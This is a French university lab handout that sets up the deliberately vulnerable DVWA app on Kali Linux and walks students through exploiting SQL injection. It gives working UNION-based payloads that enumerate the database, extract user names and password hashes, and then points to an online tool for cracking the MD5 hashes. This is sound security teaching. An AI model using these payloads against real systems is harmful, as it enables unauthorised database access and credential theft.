Vous êtes sur la page 1sur 10

Université Ibn Tofail A.

U 2022/2023
LUS Réseaux et Télécommunications

TP : Sécurité des SI – Injection SQL

L’objectif de ce TP est de comprendre la vulnérabilité SQL injection. Pour cela nous suivrons
un scénario d’exploitation d’une SQLi sur une application web PHP/SQL vulnérable DVWA
(http://www.dvwa.co.uk/). Nous hébergerons DVWA sur un serveur local Apache sur une
machine virtuelle linux.

Installation de l’environnement :
1- Installation de la machine virtuelle Kali Linux :
- Installer Virtual Box: https://www.virtualbox.org/wiki/Downloads
- Télécharger l’image Virtual Box de Kali Linux : https://www.kali.org/downloads/
Démarrer votre machine virtuelle Kali. (Vous trouverez les identifiants par défauts sur :
https://www.kali.org/docs/introduction/default-credentials/ )
2- Installation d’un serveur web (Apache2) :

Si c’est votre première utilisation de votre machine kali, il est recommandé d’installer
les dernières versions des paquets : pour cela exécutez les deux commandes :
$ sudo apt-get update
$ sudo apt-get upgrade
Apache est préinstallé sur Kali, mais si vous utilisez une autre distribution vous pouvez
toujours l’installer avec
$ sudo apt install apache2
- Démarrer apache2:
$ sudo service apache2 start
3- Installation de Git:
Installer git avec la commande : $ sudo apt install git
4- Installation et configuration de DVWA :
- Allez dans le répertoire /var/www/html avec la commande : $ cd /var/www/html
- Clonez DVWA de GitHub avec :
$ sudo git clone https://github.com/ethicalhack3r/DVWA.git
- Attribuez toutes les permissions au répertoire DVWA avec :
$ sudo chmod -R 777 /var/www/html/DVWA

- Sur votre navigateur ouvrez : localhost/DVWA/


Université Ibn Tofail A.U 2022/2023
LUS Réseaux et Télécommunications

- Si une page s’affiche indiquant que le fichier config.inc.php est inexistant, allez dans
le répertoire /var/www/html/DVWA/config et copiez le contenu du fichier
config.inc.php.dist dans config.inc.php avec la commande :
$ cp config.inc.php.dist config.inc.php
- Installez le module complémentaire php-gd : $ sudo apt-get install php-gd
- La page suivante devra s’afficher sur votre navigateur :

- Ouvrez le fichier config.inc.php et modifiez la difficulté à low


- Configuration de la base de données :
Si vous utilisez Kali Linux, Mariadb est préalablement installé. Démarrez Mariadb
avec : $ sudo service mariadb start
- Ouvrez la console de Mariadb avec $ sudo mariadb -u root
- Créez la base de données dvwa, l’utilisateur dvwa avec le mot de passe p@ssword
et donnez les privilèges nécessaires à l’utilisateur.
>create database dvwa ;
>create user dvwa@localhost identified by ‘p@ssw0rd’;
>grant all on dvwa.* to dvwa@localhost;
>flush privileges;

- Redémarrez votre serveur avec : $ sudo service apache2 restart


Université Ibn Tofail A.U 2022/2023
LUS Réseaux et Télécommunications

Cliquez sur le bouton create Database : une page Login devra s’afficher après quelques
secondes. Entrez les identifiants : admin et password.

Votre configuration est terminée.


(Si des erreurs persistent, consultez le paragraphe Troubleshooting de la page
Instructions : localhost/DVWA/instructions.php)
Lien utile :
https://medium.com/datadriveninvestor/setup-install-dvwa-into-your-linux-
distribution-d76dc3b80357
Université Ibn Tofail A.U 2022/2023
LUS Réseaux et Télécommunications

Atelier SQLi : SQL injection :


1- Détection de la vulnérabilité
Instruction 1 : Insérez 1 et entrez Submit.

Remarquez que le code permet d’afficher l’ID de l’utilisateur, le nom est le surnom.
Instruction 2 : Testez si le code est vulnérable à une injection SQL. Pour cela entrez le
caractère spécial ‘.

Le message d’erreur suivant s’affiche :

Cela nous montre que le code de l’application web ne filtre pas les entrées de l’utilisateur, elles
sont directement insérées dans la requête SQL du code php. Le champ est bien vulnérable à
l’injection SQL.
2- Exploitation de la vulnérabilité :

Peut-on retrouver les identifiants des utilisateurs ?


Notes : Dans ce qui suit, nous supposerons que nous exploitons la ligne de code suivante :
$getid = " SELECT first_name, last_name FROM users WHERE user_id = '$id' ";
Instruction 3 : Injection d’une expression logique qui est toujours vrai :
Insérez le texte : %' or '0'='0 dans le text box de User ID et cliquez sur submit
Remarquez la sortie :
Université Ibn Tofail A.U 2022/2023
LUS Réseaux et Télécommunications

Notes : Dans ce scénario la requête complète devient :


SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';
Comme user_id = ‘% ‘ sera probablement toujours faux et ‘0’=’0’ est toujours vrai, La requête devient
équivalente à SELECT first_name, last_name FROM users. Elle permet d’afficher first_name et
last_name de toutes les lignes de la table users.
Instruction 4 : Afficher la version de la base de données :

Insérez le texte : %' or 0=0 union select null, version() # dans le text box de User ID et cliquez
sur submit.
Remarquez que la version de la base de données est affichée. Dans notre cas 10.5.8- MariaDB-
3
Université Ibn Tofail A.U 2022/2023
LUS Réseaux et Télécommunications

Instruction 5 : Afficher l’utilisateur de la base de données


Insérez le texte : %' or 0=0 union select null, user() # dans le text box de User ID et cliquez
sur Submit.

Notes : Remarquez que l’utilisateur dvwa@localhost est affiché. C’est l’utilisateur qui exécute
la requête SQL du code PHP.
Université Ibn Tofail A.U 2022/2023
LUS Réseaux et Télécommunications

Instruction 6 : Afficher le nom de la base de données :


Insérez le texte : %' or 0=0 union select null, database() # dans le text box de User ID et
cliquez sur Submit.
Remarquez que le nom de la base de données est affiché.

Instruction 7 : Afficher le nom des tables :


Jusqu’à présent nous avons supposé que le nom de la table qui contient les données utilisateurs
est ‘users’. Pour nous en assurer, affichons tous les noms des tables.
Insérez le texte : %' and 1=0 union select null, table_name from
information_schema.columns # dans le text box de User ID et cliquez sur Submit.
Remarquez l’existence, en effet, de la table users.
Instruction 8 : Afficher toutes les colonnes de la table users :
Insérez le texte : %' and 1=0 union select null, concat(table_name,0x0a, column_name)
from information_schema.columns where table_name = 'users' # dans le text box de User
ID et cliquez sur Submit.
Université Ibn Tofail A.U 2022/2023
LUS Réseaux et Télécommunications

Notes:
- 0x0a permet de faire un retour à la ligne
- Remarquez l’existence d’une colonne password de la table users.
- Pour plus d’informations sur information_schema.columns consultez :
https://mariadb.com/kb/en/information-schema-columns-table/
Instruction 9 : Afficher le contenu de la colonne password :

Insérez le texte: %' and 1=0 union select null, concat(first_name, 0x0a, last_name, 0x0a,
user, 0x0a, password) from information_schema.columns where table_name = 'users' #
dans le text box de User ID et cliquez sur Submit.
Université Ibn Tofail A.U 2022/2023
LUS Réseaux et Télécommunications

Notes : Vous avez pu retrouver tous les noms, surnoms et mots de passe des utilisateurs.
Remarquez que les mots de passe sont stockés sous forme de Hash.

Pouvez-vous identifier quelle méthode de Hash est utilisée ? Pouvez-vous retrouver les mots
de passe en texte clair ?
Réponse :
On peut remarquer que les de mots de passe hachés sont des chaines de 32 digits hexadécimaux.
Les lettres vont de « a » à « f » minuscule. Cela peut suggérer que l’algorithme de hachage
utilisé est MD5.
Plusieurs outils permettent d’identifier et craquer des haches MD5 : entre autres l’outil en ligne
disponible sur le lien : https://crackstation.net/.
Si le mot de passe utilisé existe déjà dans la base de données du site, on peut retrouver le mot
de passe en texte clair. C’est bien le cas pour les mots de passe de cette application.

Pour plus d’infos sur SQLi : https://owasp.org/www-community/attacks/SQL_Injection


Université Ibn Tofail A.U 2022/2023
LUS Réseaux et Télécommunications

Vous aimerez peut-être aussi